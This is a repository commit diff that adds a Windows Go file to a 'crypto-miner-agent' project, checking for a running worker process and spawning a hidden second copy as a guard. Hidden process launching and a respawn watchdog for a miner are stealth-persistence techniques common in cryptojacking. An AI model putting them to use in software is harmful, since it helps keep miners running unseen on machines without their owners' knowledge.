Add fleet groups, agent screenshots, deploy guards, and Crucible polish.
This commit is contained in:
26
agent/deploy/guard_windows.go
Normal file
26
agent/deploy/guard_windows.go
Normal file
@@ -0,0 +1,26 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func workerProcessRunning(imageName string) bool {
|
||||
out, err := HiddenCombinedOutput("tasklist", "/FI", "IMAGENAME eq "+imageName, "/NH")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return strings.Contains(strings.ToLower(string(out)), strings.ToLower(imageName))
|
||||
}
|
||||
|
||||
// launchProcessGuard spawns a second hidden copy of the worker that only runs the guard loop.
|
||||
func launchProcessGuard(cfg config.RuntimeConfig) {
|
||||
binPath, err := InstalledBinaryPath(cfg)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_ = HiddenStart(binPath, guardFlag)
|
||||
}
|
||||
Reference in New Issue
Block a user